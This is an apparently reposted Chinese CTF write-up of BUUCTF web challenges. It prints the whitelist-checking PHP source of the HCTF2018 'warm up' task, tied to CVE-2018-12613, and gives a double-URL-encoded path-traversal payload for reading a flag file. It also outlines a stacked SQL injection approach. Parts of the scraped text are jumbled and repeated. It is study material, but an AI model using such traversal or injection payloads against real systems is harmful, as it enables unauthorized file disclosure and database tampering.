buuctf web write-up
2021-03-29 07:26
标签:func 文件 page 变化 lis php include lse https 查看源码,source.php,进去看到源码 分段来看 首先是白名单,提交的page中要是白名单内的。 1、是page取?前作为_page再判断是否属于白名单 hint.php说在ffffllllaaaagggg.php,穿越目录读取 这里用?两次url编码,就可以绕过urldecode 这便符合了 ? 前面内容在白名单里会返回 true,会被包含,通过目录穿越就会造成任意文件包含漏洞 payload 两个source.php就绕过了两个白名单检测。 至于多少个../就一个个试过去 order by 3报错,最多两列 这是想到堆叠注入。 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; buuctf web write-up 标签:func 文件 page 变化 lis php include lse https 原文地址:https://www.cnblogs.com/vstar-o/p/12609590.htmlwarm up (HCTF2018)
漏洞名称:
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can‘t see it";
return false;
}
}
if (! empty($_REQUEST[‘file‘])
&& is_string($_REQUEST[‘file‘])
&& emmm::checkFile($_REQUEST[‘file‘])
) {
include $_REQUEST[‘file‘];
exit;
} else {
echo "
";
}
?>
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
2、url解密一次
3、再取?前再判断一次?file=source.php%253f../../../../../../../../ffffllllaaaagggg
随便注 [强网杯 2019]
单引号报错,从这是注入点
尝试union select ,屏蔽了这些关键词,尝试双写绕过,没有变化。
结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
文章标题:buuctf web write-up
文章链接:http://soscw.com/index.php/essay/69417.html